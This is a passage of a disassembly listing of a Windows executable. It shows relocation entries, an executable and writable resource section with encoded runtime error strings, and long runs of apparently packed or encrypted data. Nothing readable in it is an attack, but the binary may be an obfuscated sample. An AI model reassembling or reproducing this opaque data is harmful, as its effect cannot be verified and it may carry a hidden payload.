34BE34B4h, 34EA34E5h, 351134EFh, 3530351Ah, 35633548h dd 358B3582h, 35BE35B1h, 3CD93A3Fh, 3D813CE3h, 3D953D8Ah dd 3DA23D9Ah, 3F063DAAh, 3F693F59h, 3000h, 2C8h, 31473129h dd 317F3165h, 31EF31CDh, 3371336Ah, 340F337Eh, 3423341Bh dd 3432342Ch, 3452343Fh, 3465345Fh, 34783469h, 34CC34A2h dd 34DF34DAh, 350834F8h, 352A3519h, 353B3536h, 35473540h dd 3558354Eh, 357B356Fh, 359A3588h, 35B335A7h, 35D235C0h dd 35E235DAh, 35F235EAh, 360235FAh, 3612360Ah, 3622361Ah dd 3632362Ah, 3642363Ah, 3652364Ah, 3662365Ah, 3672366Ah dd 3682367Ah, 3692368Ah, 36A2369Ah, 36B236AAh, 36CB36BFh dd 36EA36D8h, 370336F7h, 37223710h, 37303728h, 37403738h dd 37503748h, 37603758h, 37703768h, 37803778h, 37903788h dd 37A03798h, 37B037A8h, 37C037B8h, 37D037C8h, 37E037D8h dd 37F037E8h, 380037F8h, 38103808h, 38203818h, 38303828h dd 38403838h, 38503848h, 38603858h, 38703868h, 38803878h dd 38903888h, 38A03898h, 38B038A8h, 38C038B8h, 38D038C8h dd 38E038D8h, 38F038E8h, 390038F8h, 39103908h, 39203918h dd 39303928h, 39403938h, 39503948h, 39603958h, 39703968h dd 39803978h, 39903988h, 39A73998h, 39C039B3h, 39D839D2h dd 39F839E4h, 3A043A00h, 3A0C3A08h, 3A143A10h, 3A1C3A18h dd 3A2E3A20h, 3A603A40h, 3A6C3A68h, 3A743A70h, 3A7C3A78h dd 3A843A80h, 3A9C3A88h, 3AC43ABCh, 3ACC3AC8h, 3AD43AD0h dd 3ADC3AD8h, 3AE43AE0h, 3B183AF8h, 3B243B20h, 3B2C3B28h dd 3B343B30h, 3B3C3B38h, 3B503B40h, 3B783B70h, 3B803B7Ch dd 3B883B84h, 3B903B8Ch, 3B983B94h, 3BC83BA8h, 3BD43BD0h dd 3BDC3BD8h, 3BE43BE0h, 3BEC3BE8h, 3C083BF0h, 3C303C28h dd 3C383C34h, 3C403C3Ch, 3C483C44h, 3C503C4Ch, 3C803C60h dd 3C8C3C88h, 3C943C90h, 3C9C3C98h, 3CA43CA0h, 3CB83CA8h dd 3CE03CD8h, 3CE83CE4h, 3CF03CECh, 3CF83CF4h, 3D003CFCh dd 3D303D10h, 3D3C3D38h, 3D443D40h, 3D4C3D48h, 3D543D50h dd 3D6C3D58h, 3D943D8Ch, 3D9C3D98h, 3DA43DA0h, 3DAC3DA8h dd 3DB43DB0h, 3DE43DC4h, 3DF03DECh, 3DF83DF4h, 3E003DFCh dd 3E083E04h, 3E1C3E0Ch, 3E443E3Ch, 3E4C3E48h, 3E543E50h dd 3E5C3E58h, 3E643E60h, 3E943E74h, 3EA03E9Ch, 3EA83EA4h dd 3EB03EACh, 3EB83EB4h, 3ECC3EBCh, 3EF43EECh, 3EFC3EF8h dd 3F043F00h, 3F0C3F08h, 3F143F10h, 3F443F24h, 3F503F4Ch dd 3F583F54h, 3F603F5Ch, 3F683F64h, 3F803F6Ch, 3FA83FA0h dd 3FB03FACh, 3FB83FB4h, 3FC03FBCh, 3FC83FC4h, 3FFC3FDCh dd 4000h, 13Ch, 30083004h, 3010300Ch, 30183014h, 3020301Ch dd 30383024h, 30603058h, 30683064h, 3070306Ch, 30783074h dd 3080307Ch, 30B83098h, 30C430C0h, 30CC30C8h, 30D430D0h dd 30DC30D8h, 30F030E0h, 31183110h, 3120311Ch, 31283124h dd 3130312Ch, 31383134h, 316C314Ch, 31783174h, 3180317Ch dd 31883184h, 3190318Ch, 31A43194h, 31CC31C4h, 31D431D0h dd 31DC31D8h, 31E431E0h, 31EC31E8h, 32203200h, 322C3228h dd 32343230h, 323C3238h, 32443240h, 32603248h, 32883280h dd 3290328Ch, 32983294h, 32A0329Ch, 32A832A4h, 32DC32BCh dd 32E832E4h, 32F032ECh, 32F832F4h, 330032FCh, 33183304h dd 33403338h, 33483344h, 3350334Ch, 33583354h, 3360335Ch dd 33853378h, 339C338Dh, 33B133A9h, 34F233DCh, 3819369Ah dd 3821381Dh, 38293825h, 3831382Dh, 38393835h, 3841383Dh dd 38493845h, 3851384Dh, 38593855h, 39C7385Dh, 3A8F39CEh dd 3C453C19h, 3C553C4Dh, 3C653C5Dh, 3CF93CCAh, 3D183D14h dd 3D203D1Ch, 3E633D24h, 3FB73FA2h, 5000h, 0D0h, 31FE30C2h dd 321B3216h, 324A3227h, 327C3277h, 32BB3296h, 332732EDh dd 33573331h, 33923373h, 33CE33A4h, 341333E2h, 343C3422h dd 3489344Eh, 34D134A9h, 3570353Bh, 35963589h, 35BE35AFh dd 35F235D7h, 36FF362Ch, 3744373Fh, 3776374Ch, 37903787h dd 384F3845h, 38A5388Ah, 394238AEh, 3A003971h, 3A803A3Ah dd 3AB93A97h, 3ACE3AC7h, 3AED3AE6h, 3B183B00h, 3B3F3B37h dd 3B8F3B4Dh, 3BD83BADh, 3BFB3BE7h, 3C553C4Eh, 3D283CF6h dd 3D513D42h, 3E1F3E0Dh, 3E7B3E69h, 3EDB3E8Fh, 3F3C3F07h dd 3F5A3F4Bh, 3FA63F76h, 3FB73FADh, 3FC43FBDh, 3FD33FCEh dd 3FDE3FD9h, 3FE93FE4h, 3FF63FEFh, 3FFCh, 6000h, 250h dd 30073001h, 3012300Ch, 301F3019h, 30323029h, 3043303Eh dd 3058304Ch, 3066305Dh, 3078306Fh, 308A3081h, 30B930B0h dd 30CB30C2h, 310A30D0h, 3154312Ah, 318C316Eh, 31CD31A5h dd 327431E1h, 32E732BBh, 33393315h, 335E3345h, 33723368h dd 33993384h, 33A933A4h, 33BB33AEh, 33D833D1h, 33EF33EAh dd 340933FFh, 345D343Fh, 348C347Ah, 34EE34D8h, 35253517h dd 35493540h, 35773564h, 3593358Ah, 35C135AEh, 35E935CAh dd 361635F7h, 3637362Eh, 3659364Bh, 368B366Dh, 36BC36ADh dd 36ED36CAh, 371E370Fh, 3736372Eh, 3753374Bh, 377D3770h dd 385E383Eh, 3879386Eh, 3887387Fh, 38CC388Ch, 38D438D0h dd 38DC38D8h, 38E438E0h, 38EC38E8h, 38F438F0h, 38FC38F8h dd 39043900h, 390C3908h, 39143910h, 391C3918h, 39243920h dd 392C3928h, 39343930h, 393C3938h, 39443940h, 394C3948h dd 39543950h, 395C3958h, 39643960h, 396C3968h, 39743970h dd 397C3978h, 39843980h, 398C3988h, 39943990h, 399C3998h dd 39A439A0h, 39AC39A8h, 39B839B0h, 39C439BCh, 39D039C8h dd 39DC39D4h, 39E839E0h, 39F439ECh, 3A0039F8h, 3A0C3A04h dd 3A183A10h, 3A243A1Ch, 3A303A28h, 3A3C3A34h, 3A483A40h dd 3A543A4Ch, 3A603A58h, 3A6C3A64h, 3A783A70h, 3A843A7Ch dd 3A903A88h, 3A9C3A94h, 3AA83AA0h, 3AB43AACh, 3AC03AB8h dd 3ACC3AC4h, 3AD83AD0h, 3AE43ADCh, 3AF03AE8h, 3AFC3AF4h dd 3B083B00h, 3B143B0Ch, 3B203B18h, 3B2C3B24h, 3B383B30h dd 3B443B3Ch, 3B503B48h, 3B5C3B54h, 3B683B60h, 3B743B6Ch dd 3B803B78h dd 3B8C3B84h, 3B9F3B90h, 3BB63BABh, 3BD53BCAh, 3BEA3BDFh dd 3BFF3BF4h, 3C133C09h, 3C233C19h, 3C333C29h, 3C483C3Eh dd 3C5D3C53h, 3C723C68h, 3C873C7Dh, 3C9C3C92h, 3CB03CA6h dd 3CC43CBAh, 3CD83CCEh, 3CEC3CE2h, 3D083CF6h, 3D2B3D1Fh dd 3D3D3D33h, 3D503D48h, 3D7B3D55h, 3DC43D9Ah, 3E893E4Ch dd 3F473F1Ah, 3F603F53h, 3F7A3F72h, 3F8C3F82h, 3FCEh, 7000h dd 124h, 3057301Ch, 30DA30A3h, 314C3141h, 3186315Fh, 31CF31ABh dd 321831F3h, 3262323Dh, 33163287h, 34CC3493h, 361A360Fh dd 36473629h, 36A43662h, 378D3782h, 37BA379Ch, 37F137D6h dd 3829380Dh, 38643845h, 387E386Fh, 399838A3h, 3A4039F7h dd 3AFF3A9Dh, 3B243B12h, 3B2C3B28h, 3B343B30h, 3B3C3B38h dd 3B443B40h, 3B4C3B48h, 3B543B50h, 3B5C3B58h, 3B643B60h dd 3B833B6Ch, 3B9B3B90h, 3BAA3BA5h, 3BBC3BB4h, 3BDF3BCFh dd 3BFA3BF2h, 3C153C02h, 3C253C1Dh, 3C403C38h, 3C4A3C45h dd 3C623C5Dh, 3C793C6Ah, 3C9A3C95h, 3CB03CA4h, 3CCA3CC4h dd 3CE33CD4h, 3CF93CEEh, 3D2F3D20h, 3D463D3Ch, 3D613D4Bh dd 3D733D6Eh, 3D913D80h, 3DAB3D9Eh, 3DBD3DB0h, 3DDB3DCEh dd 3DED3DE0h, 3E0B3E06h, 3E233E18h, 3E603E2Fh, 3E7D3E6Dh dd 3E9D3E82h, 3EB23EA2h, 3EC63EB7h, 3EF13EE4h, 3F053EF6h dd 3F253F1Ah, 3F4F3F2Dh, 3F8B3F72h, 3FA03F9Bh, 3FAC3FA7h dd 3FC03FB3h, 9000h, 150h, 302C3028h, 30343030h, 303C3038h dd 30483040h, 3050304Ch, 30E83090h, 30F430F0h, 30FC30F8h dd 31143110h, 311C3118h, 31243120h, 312C3128h, 31343130h dd 313C3138h, 31443140h, 314C3148h, 31543150h, 315C3158h dd 31643160h, 316C3168h, 31743170h, 317C3178h, 31843180h dd 318C3188h, 31943190h, 319C3198h, 31A431A0h, 31E831E0h dd 31F831F0h, 32083200h, 32183210h, 32283220h, 32383230h dd 32483240h, 32583250h, 32683260h, 32783270h, 32883280h dd 32BC32B8h, 32C432C0h, 32CC32C8h, 32D432D0h, 32DC32D8h dd 32E432E0h, 32EC32E8h, 32F432F0h, 32FC32F8h, 33043300h dd 330C3308h, 33143310h, 331C3318h, 33243320h, 332C3328h dd 33343330h, 333C3338h, 33443340h, 334C3348h, 33543350h dd 335C3358h, 33643360h, 336C3368h, 33743370h, 337C3378h dd 33843380h, 338C3388h, 33943390h, 339C3398h, 33A433A0h dd 33AC33A8h, 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h dd 33D433D0h, 33DC33D8h, 33E433E0h, 33EC33E8h, 33F433F0h dd 33FC33F8h, 34043400h, 340C3408h, 34143410h, 0D000h dd 14h, 30043000h, 300C3008h, 0 align 200h _reloc ends ; Section 8. (virtual address 0000F000) ; Virtual size : 00019A00 ( 104960.) ; Section size in file : 00019A00 ( 104960.) ; Offset to raw data for section: 0000F000 ; Flags F0000060: Text Data Shareable Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 40F000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 20000h, 6, 80000020h, 0Ah, 80000058h, 2 dup(0) dd 4, 50000h, 0FFCh, 80000088h, 0FFDh, 800000A0h, 0FFEh dd 800000B8h, 0FFFh, 800000D0h, 1000h, 800000E8h, 2 dup(0) dd 2 dup(4), 800001F0h, 80000100h, 800001F8h, 80000118h dd 80000206h, 80000130h, 80000210h, 80000148h, 2 dup(0) dd 4, 10000h, 0 dd 160h, 2 dup(0) dd 4, 10000h, 0 dd 170h, 2 dup(0) dd 4, 10000h, 0 dd 180h, 2 dup(0) dd 4, 10000h, 0 db 90h db 1, 2 dup(0) align 10h dd 4, 10000h, 0 dd 1A0h, 2 dup(0) dd 4, 10000h, 0 dd 1B0h, 2 dup(0) dd 4, 10000h, 0 dd 1C0h, 2 dup(0) dd 4, 10000h, 0 dd 1D0h, 2 dup(0) dd 4, 10000h, 0 dd 1E0h, 0F228h, 0DCh, 4E4h, 0 dd 0F304h, 0E4h, 4E4h, 0 dd 0F3E8h, 234h, 4E4h, 0 dd 0F61Ch, 378h, 4E4h, 0 dd 0F994h, 2A0h, 4E4h, 0 dd 0FC34h, 0AA58h, 4E4h, 0 dd 1A68Ch, 10h, 4E4h, 0 dd 1A69Ch, 103h, 4E4h, 0 dd 1A7A0h, 6Ch, 4E4h, 0 dd 430003h, 310046h, 440006h, 430056h, 41004Ch, 4004Ch dd 4E0049h, 4F0046h, 50000Bh, 430041h, 41004Bh, 450047h dd 4E0049h, 4F0046h, 440008h, 630065h, 6D0065h, 650062h dd 30072h, 750053h, 3006Eh, 6F004Dh, 3006Eh, 750054h, 30065h dd 650057h, 30064h, 680054h, 30075h, 720046h, 30069h, 610053h dd 60074h, 750053h, 64006Eh, 790061h, 4D0006h, 6E006Fh dd 610064h, 70079h, 750054h, 730065h, 610064h, 90079h dd 650057h, 6E0064h, 730065h, 610064h, 80079h, 680054h dd 720075h, 640073h, 790061h, 460006h, 690072h, 610064h dd 80079h, 610053h, 750074h, 640072h, 790061h, 8 dup(0) dd offset byte_410003 dd 670075h, 530003h, 700065h, 4F0003h, 740063h, 4E0003h dd 76006Fh, 440003h, 630065h, 4A0007h, 6E0061h, 610075h dd 790072h, 460008h, 620065h, 750072h, 720061h, 50079h dd 61004Dh, 630072h, 50068h, 700041h, 690072h, 3006Ch dd 61004Dh, 40079h, 75004Ah, 65006Eh, 4A0004h, 6C0075h dd 60079h, 750041h, 750067h, 740073h, 530009h, 700065h dd 650074h, 62006Dh, 720065h, 4F0007h, 740063h, 62006Fh dd 720065h, 4E0008h, 76006Fh, 6D0065h, 650062h, 72h, 8 dup(0) dd 490019h, 76006Eh, 6C0061h, 640069h, 760020h, 720061h dd 610069h, 74006Eh, 6F0020h, 650070h, 610072h, 690074h dd 6E006Fh, 560017h, 720061h, 610069h, 74006Eh, 690020h dd 200073h, 6F006Eh, 200074h, 6E0061h, 610020h, 720072h dd 790061h, 450015h, 740078h, 720065h, 61006Eh, 20006Ch dd 780065h, 650063h, 740070h, 6F0069h, 20006Eh, 780025h dd 410010h, 730073h, 720065h, 690074h, 6E006Fh, 660020h dd 690061h, 65006Ch, 170064h, 6E0049h, 650074h, 660072h dd 630061h, 200065h, 6F006Eh, 200074h, 750073h, 700070h dd 72006Fh, 650074h, 1C0064h, 780045h, 650063h, 740070h dd 6F0069h, 20006Eh, 6E0069h, 730020h, 660061h, 630065h dd 6C0061h, 20006Ch, 65006Dh, 680074h, 64006Fh, 250010h dd 200073h, 250028h, 2C0073h, 6C0020h, 6E0069h, 200065h dd 640025h, 0E0029h, 620041h, 740073h, 610072h, 740063h dd 450020h, 720072h, 72006Fh, 41003Fh, 630063h, 730065h dd 200073h, 690076h, 6C006Fh, 740061h, 6F0069h, 20006Eh dd 740061h, 610020h, 640064h, 650072h, 730073h, 250020h dd 200070h, 6E0069h, 6D0020h, 64006Fh, 6C0075h, 200065h dd 250027h, 270073h, 20002Eh, 730025h, 6F0020h, 200066h dd 640061h, 720064h, 730065h, 200073h, 700025h, 4A0003h dd 6E0061h, 460003h, 620065h, 4D0003h, 720061h, 410003h dd 720070h, 4D0003h, 790061h, 4A0003h, 6E0075h, 4A0003h dd 6C0075h, 8 dup(0) dd 490019h, 76006Eh, 6C0061h, 640069h, 700020h, 69006Fh dd 74006Eh, 720065h, 6F0020h, 650070h, 610072h, 690074h dd 6E006Fh, 490016h, 76006Eh, 6C0061h, 640069h, 630020h dd 61006Ch, 730073h, 740020h, 700079h, 630065h, 730061h dd 300074h, 630041h, 650063h, 730073h, 760020h, 6F0069h dd 61006Ch, 690074h, 6E006Fh, 610020h, 200074h, 640061h dd 720064h, 730065h, 200073h, 700025h, 20002Eh, 730025h dd 6F0020h, 200066h, 640061h, 720064h, 730065h, 200073h dd 700025h, 53000Eh, 610074h, 6B0063h, 6F0020h, 650076h dd 660072h, 6F006Ch, 0D0077h, 6F0043h, 74006Eh, 6F0072h dd 2D006Ch, 200043h, 690068h, 160074h, 720050h, 760069h dd 6C0069h, 670065h, 640065h, 690020h, 73006Eh, 720074h dd 630075h, 690074h, 6E006Fh, 450028h, 630078h, 700065h dd 690074h, 6E006Fh, 250020h, 200073h, 6E0069h, 6D0020h dd 64006Fh, 6C0075h, 200065h, 730025h, 610020h, 200074h dd 700025h, 0D002Eh, 25000Ah, 250073h, 0D0073h, 11000Ah dd 700041h, 6C0070h, 630069h, 740061h, 6F0069h, 20006Eh dd 720045h, 6F0072h, 310072h, 6F0046h, 6D0072h, 740061h dd 270020h, 730025h, 200027h, 6E0069h, 610076h, 69006Ch dd 200064h, 72006Fh, 690020h, 63006Eh, 6D006Fh, 610070h dd 690074h, 6C0062h, 200065h, 690077h, 680074h, 610020h dd 670072h, 6D0075h, 6E0065h, 1B0074h, 6F004Eh, 610020h dd 670072h, 6D0075h, 6E0065h, 200074h, 6F0066h, 200072h dd 6F0066h, 6D0072h, 740061h, 270020h, 730025h, 220027h dd 610056h, 690072h, 6E0061h, 200074h, 65006Dh, 680074h dd 64006Fh, 630020h, 6C0061h, 73006Ch, 6E0020h, 74006Fh dd 730020h, 700075h, 6F0070h, 740072h, 640065h, 520004h dd 610065h, 50064h, 720057h, 740069h, 1C0065h, 720045h dd 6F0072h, 200072h, 720063h, 610065h, 690074h, 67006Eh dd 760020h, 720061h, 610069h, 74006Eh, 610020h, 720072h dd 790061h, 560021h, 720061h, 610069h, 74006Eh, 610020h dd 720072h, 790061h, 690020h, 64006Eh, 780065h, 6F0020h dd 740075h, 6F0020h, 200066h, 6F0062h, 6E0075h, 730064h dd 49001Fh, 76006Eh, 6C0061h, 640069h, 760020h, 720061h dd 610069h, 74006Eh, 740020h, 700079h, 200065h, 6F0063h dd 76006Eh, 720065h, 690073h, 6E006Fh, 8 dup(0) aOutOfMemory: dw 0Dh unicode 0, <Out of memory> dd 49000Ch, 4F002Fh, 650020h, 720072h, 72006Fh, 250020h dd 0E0064h, 690046h, 65006Ch, 6E0020h, 74006Fh, 660020h dd 75006Fh, 64006Eh, 490010h, 76006Eh, 6C0061h, 640069h dd 660020h, 6C0069h, 6E0065h, 6D0061h, 130065h, 6F0054h dd 20006Fh, 61006Dh, 79006Eh, 6F0020h, 650070h, 20006Eh dd 690066h, 65006Ch, 120073h, 690046h, 65006Ch, 610020h dd 630063h, 730065h, 200073h, 650064h, 69006Eh, 640065h dd 520017h, 610065h, 200064h, 650062h, 6F0079h, 64006Eh dd 650020h, 64006Eh, 6F0020h, 200066h, 690066h, 65006Ch dd 440009h, 730069h, 20006Bh, 750066h, 6C006Ch, 490015h dd 76006Eh, 6C0061h, 640069h, 6E0020h, 6D0075h, 720065h dd 630069h, 690020h, 70006Eh, 740075h, 440010h, 760069h dd 730069h, 6F0069h, 20006Eh, 790062h, 7A0020h, 720065h dd 11006Fh, 610052h, 67006Eh, 200065h, 680063h, 630065h dd 20006Bh, 720065h, 6F0072h, 100072h, 6E0049h, 650074h dd 650067h, 200072h, 76006Fh, 720065h, 6C0066h, 77006Fh dd 490020h, 76006Eh, 6C0061h, 640069h, 660020h, 6F006Ch dd 740061h, 6E0069h, 200067h, 6F0070h, 6E0069h, 200074h dd 70006Fh, 720065h, 740061h, 6F0069h, 1F006Eh, 6C0046h dd 61006Fh, 690074h, 67006Eh, 700020h, 69006Fh, 74006Eh dd 640020h, 760069h, 730069h, 6F0069h, 20006Eh, 790062h dd 7A0020h, 720065h, 17006Fh, 6C0046h, 61006Fh, 690074h dd 67006Eh, 700020h, 69006Fh, 74006Eh, 6F0020h, 650076h dd 660072h, 6F006Ch, 180077h, 6C0046h, 61006Fh, 690074h dd 67006Eh, 700020h, 69006Fh, 74006Eh, 750020h, 64006Eh dd 720065h, 6C0066h, 77006Fh, 8 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0DDh, 2 dup(31h) dd 8B7E7030h, 343231C1h, 31353431h, 31303034h, 3831E933h dd 0E1543171h, 503F3431h, 32313FEBh, 52FE3AE5h, 0FE7D32E9h dd 9A998552h, 0A3A151A4h, 92A398A0h, 9294519Eh, 0A5A09F9Fh dd 51969351h, 519FA6A3h, 75519F9Ah, 9E518480h, 5F9695A0h dd 553B3E3Eh, 968E3831h, 354AF92Eh, 2 dup(354ACCC4h), 4CC8CCC4h dd 3542CCB1h, 5516CCC4h, 3549CCB2h, 9A83CCC4h, 354A9994h dd 3931CCC4h, 33317681h, 3133327Dh, 0F5F132h, 11393176h dd 32403231h, 3D36323Ch, 0DC043D31h, 713C3133h, 31413331h dd 33313334h, 35383135h, 0EC753831h, 33333133h, 31333731h dd 33314136h, 41353141h, 31413331h, 3C314137h, 3133E8FAh dd 0A4315932h, 9492A15Fh, 3195969Ch, 33313334h, 51473141h dd 5F913331h, 92817D83h, 32319C94h, 3431DC75h, 32313341h dd 3431DC75h, 513F3133h, 31113331h, 0AD35B3Ah, 0DDCD48B9h dd 0CEB71C9h, 0B6453B70h, 67C322A1h, 0AB45DD26h, 612F27A2h dd 6618FE1Fh, 9BAFBA4Eh, 4C6D734Eh, 157F7AEDh, 214AA68Dh dd 41DBE633h, 1F94B77Fh, 60197C61h, 0DE69B1C0h, 85ED8397h dd 0D24A873Bh, 0C32353A3h, 0DE7E0D14h, 0DE43574Ch, 0E2C7FAB4h dd 3995BFCFh, 0BFFDA0E3h, 2E3F06D8h, 25D42D29h, 0D143666Ah dd 766BB841h, 592D0B19h, 0F1A8B0EFh, 907D6E30h, 31F3975Ah dd 2D69B932h, 341351BFh, 9646FC1Ch, 82F675A8h, 0CD67459Ah dd 0ECDA88CAh, 0CDB0441Ah, 0AA65DBD3h, 0CBD02C90h, 0EFF682F2h dd 32222273h, 14CD2215h, 269A2380h, 7FC5DA03h, 0A02F9C81h dd 0B73A1BEBh, 0E73AD8FDh, 52075883h, 76F6A2ADh, 68EB8CB4h dd 7CB0B616h, 0C5D55951h, 0AD785FE6h, 2F0D9205h, 0E799EAB0h dd 1B04D66Fh, 5AB3B28h, 0CF0CD27Ah, 9DCF01E2h, 6DDDF7A5h dd 6006CD1Eh, 0CEB74EFFh, 6D2FCA7Fh, 0D7946F6Ah, 0D25C505Bh dd 0ECE87B50h, 0B9B484DCh, 6F8BB25Ah, 0B6A026E9h, 76EB249Dh dd 780767B0h, 0BBAB8918h, 605D5B86h, 6A393231h, 7336851Ah dd 2C07DA80h, 9698B196h, 3A352F9Ah, 0CCD5D962h, 99B528D1h dd 8157B653h, 67AE3D3Dh, 89230051h, 89410FC5h, 0A5663F2Fh dd 0E5A6F82Bh, 9E93B185h, 3F81992Bh, 0F9F0CEC7h, 9B2CF880h dd 5CFBD2F4h, 3F08CA99h, 1F27EE00h, 2B62147Dh, 98F630F5h dd 85778496h, 8C37A9F9h, 0A0B3940Dh, 0F9AAA46Ah, 0E625AFF3h dd 19E3725Eh, 8E788D15h, 834957E6h, 6CC3BA67h, 77544C68h dd 3165888Dh, 2B0E9032h, 5CFEFBFh, 8EC845C0h, 0E436AE7Fh dd 0B5100984h, 722DDC76h, 0E1283231h, 0DC2109D7h, 518E2B97h dd 24A4ACBEh, 0CE4F3EF1h, 0E89BAD03h, 3759F642h, 1FD719F6h dd 2ABDEA82h, 0E9323C0Eh, 4EB8456Fh, 2D1F81F3h, 14EA3D00h dd 9D22C12Ah, 7479912Eh, 0C59AC73Ah, 2B95B7E8h, 9ED2FEEBh dd 84FC13E7h, 0D91C07B1h, 894A3E7Eh, 6719BB6Eh, 0CC02AF9Ah dd 0C0919EC1h, 0BAC2523Eh, 0AFC2E16Fh, 0DDA144Fh, 0A1C59D36h dd 1C6C48E2h, 0C0B5C3DCh, 10446135h, 449F1003h, 0FF8B8E2Fh dd 28BAFAFEh, 91C9E5D5h, 95956A1Bh, 5E42E993h, 0AEA16703h dd 32313CDAh, 68C742C8h, 500CBC0Eh, 5D5EDBB6h, 40B14D6Bh dd 83481578h, 1EF53F39h, 633BEFA9h, 74548A0Fh, 4AAAEFEBh dd 21E9BB36h, 0FED576E0h, 7611BDE0h, 8CB044ACh, 7FFFF2ECh dd 9ABCA213h, 0F0778377h, 61035A15h, 0DDFFAF2Ch, 0D54CDBD8h dd 0F58D96FCh, 0A8EDA61Ch, 0EA27FEFh, 97F92C49h, 31D8B543h dd 0FC934032h db 0BBh, 6Bh, 47h byte_410003 db 0DAh ; DATA XREF: .rsrc:0040F304o dd 209E5D78h, 2B62A762h, 0CB610973h, 16D8CA0h, 9A9DC8C1h dd 0C51985C2h, 0DAB07AA0h, 0E0ACCD76h, 8B13F509h, 136D89Dh dd 4BAAC3E0h, 0E79CF492h, 0B2265742h, 6DAD7E2Eh, 484AA953h dd 435C3542h, 754C75ACh, 0B07AF8E2h, 2FD7E881h, 3378E2BAh dd 54133C34h, 0ECA8338Eh, 44DB9C6Ch, 38124AABh, 0D4AD99E0h dd 0B0C2C4DEh, 0FE9027F0h, 8C9DD16h, 784EE525h, 0DDB9BCC4h dd 0E864BCE2h, 0B04DA579h, 0F67CAE55h, 0F1DEDDF5h, 9574793Ch dd 61E8AF03h, 0ECB7D413h, 1FBD8B72h, 1745D996h, 92222570h dd 0C2BD646h, 0B6DD1C88h, 0FCD4268Bh, 0DFA14F32h, 0BA663AD3h dd 2799C2F0h, 0F15327CAh, 0C526D933h, 0AB21909Bh, 4AC105ABh dd 0DD30B84Dh, 5B078BB6h, 3D3C9ED2h, 98F15161h, 88A18351h dd 0FBA9C35Fh, 3303A8F4h, 7C34E12Dh, 17996C11h, 0FA544885h dd 8ADE57A5h, 5D7CFF2Eh, 0F686CC90h, 0EEFB965h, 3231EDE2h dd 454A3274h, 6557B327h, 35F25D55h, 4D15E5D4h, 0F3F224CCh dd 78913454h, 2E3C0AD0h, 0BA15E27Ah, 0DE1357B1h, 92CDAF0h dd 0C53F4Eh, 7BA7BBEDh, 0FF54A4C0h, 5B7ACA50h, 21B09F18h dd 5EEC51D0h, 6947C02Fh, 524F4177h, 174FDEB0h, 0AC5B219h dd 0FB694953h, 0B292FBF5h, 0C641C40Eh, 69F18C58h, 0E6B1B0CCh dd 0D2F3068Ah, 0E32C0B5Fh, 0D6957BB1h, 11E5AED3h, 1D79BE65h dd 62A013D5h, 0E819068Bh, 0B463389Ah, 6D217053h, 0E1C3972Dh dd 0DE1B558h, 0D61EA7CDh, 40CD4104h, 0DF1529AAh, 0D05719DFh dd 13599EE7h, 24968CE7h, 7D823327h, 58F578F0h, 0D3DFFADBh dd 598FCF89h, 8167B17Bh, 14BD071h, 1524F2A5h, 36262234h dd 0BAD75E77h, 0D25080DDh, 0D6FA29ECh, 0F25FCF1Dh, 694E1DB4h dd 3CAF2F36h, 0CF9FFAD2h, 682EE319h, 68436F09h, 66B2D60Ch dd 78362FE9h, 0EEC6635Bh, 5084888Eh, 0DF57E0DCh, 3BC15193h dd 3E306882h, 16F573FEh, 0A02C8DD7h, 3599AB6Fh, 0BA1AB31Ah dd 215C79C9h, 0BFF45204h, 663A9AB0h, 0E812F504h, 0F75307BCh dd 93AC85Dh, 68099DEDh, 65B49624h, 0D1291F27h, 3A3F4BF9h dd 4C82C730h, 4B2A6856h, 0B5553DECh, 0F337EE4Ah, 0BF28439Ah dd 98B1BE82h, 89F022A3h, 21B9B1F7h, 0E4AF469Eh, 0ABC29C51h dd 9876606Eh, 0A9CFFE9Dh, 0B597678Eh, 450CCDC6h, 528971F5h dd 5924FC74h, 0B008726h, 657A51ECh, 6FCED38Ch, 104BF9ECh dd 0B28AA3DDh, 8DCBE5EDh, 0D471EC83h, 347E88B1h, 6871EAB5h dd 0D12E97C3h, 3B1B1F03h, 60B86781h, 0BD7276B1h, 951E2E40h dd 6AFBF930h, 74272A21h, 55181990h, 9F1513C6h, 6F79B2AFh dd 20A0D159h, 9B9E62CDh, 3EFDD441h, 2E178F74h, 0E1661C74h dd 0F612D2DDh, 0CE0DD7B5h, 8C22147Dh, 5E0D6465h, 0CCDE985Ch dd 0F36DD952h, 8973E7B4h, 6B690D9Ah, 4E94FF74h, 0ADF7787Ch dd 8DEC44AEh, 6B5F4293h, 0BCA9DEDFh, 147E077Ch, 0A743DC3Bh dd 70BB9609h, 3FA73FCAh, 0C5898684h, 0D628BB3Ah, 5856D48Ah dd 117F0DE6h, 0A4D09A2Bh, 0FB51D35Ch, 0F7BD7EC9h, 0E0AEBB00h dd 0CF27BBF9h, 9A116E9h, 0F4C51E04h, 0E4E3E91Bh, 0E954D7E0h dd 885004DAh, 48176B68h, 0A35738E5h, 5F61B52h, 687A3CC5h dd 5E8BE728h, 33D241EDh, 6E96209Ch, 0B68ED2BAh, 33328DCEh dd 19E0EE52h, 0BE0E4ABCh, 8864447Bh, 0F220B68Ah, 7896529Ah dd 31F94775h, 7D7F832h, 4A3E1E39h, 0AFE17146h, 5173A6DFh dd 0AF04B409h, 808BBF36h, 2733FF63h, 46EDC1D3h, 67B083Fh dd 828B3B89h, 92DD52E7h, 0ADB0812Fh, 0CFC43B4h, 0D28829DAh dd 1109BC2Eh, 939F634Fh, 6D44882Eh, 9B1245E5h, 0B508B38Fh dd 97684CEBh, 0EA4F400Dh, 0FF14B2Dh, 0EDEFA4C8h, 87AA2682h dd 29273D32h, 74BE8F44h, 0EA6A490Ah, 39189FD3h, 0D84588Ah dd 0BC0A6A82h, 0B36BCEF0h, 7F343B50h, 9C6B6A3Eh, 0E54F7C28h dd 52C35930h, 0D2D8A711h, 0A777F7A9h, 0B770850Ah, 60856F1Eh dd 227F1507h, 724A9E8Fh, 2AB19C68h, 15452EA7h, 63FCFEA3h dd 0F9E6445Ah, 9958A972h, 0D63C61C6h, 92BA135Eh, 6BA6BB24h dd 4B79A3A7h, 5B0FE5C4h, 6ADEF78Ah, 0DE531D87h, 7D649A21h dd 147EFDF7h, 44A325D0h, 0A9973E48h, 0EBA6F300h, 3D953810h dd 0D8856F57h, 0FA3B93CEh, 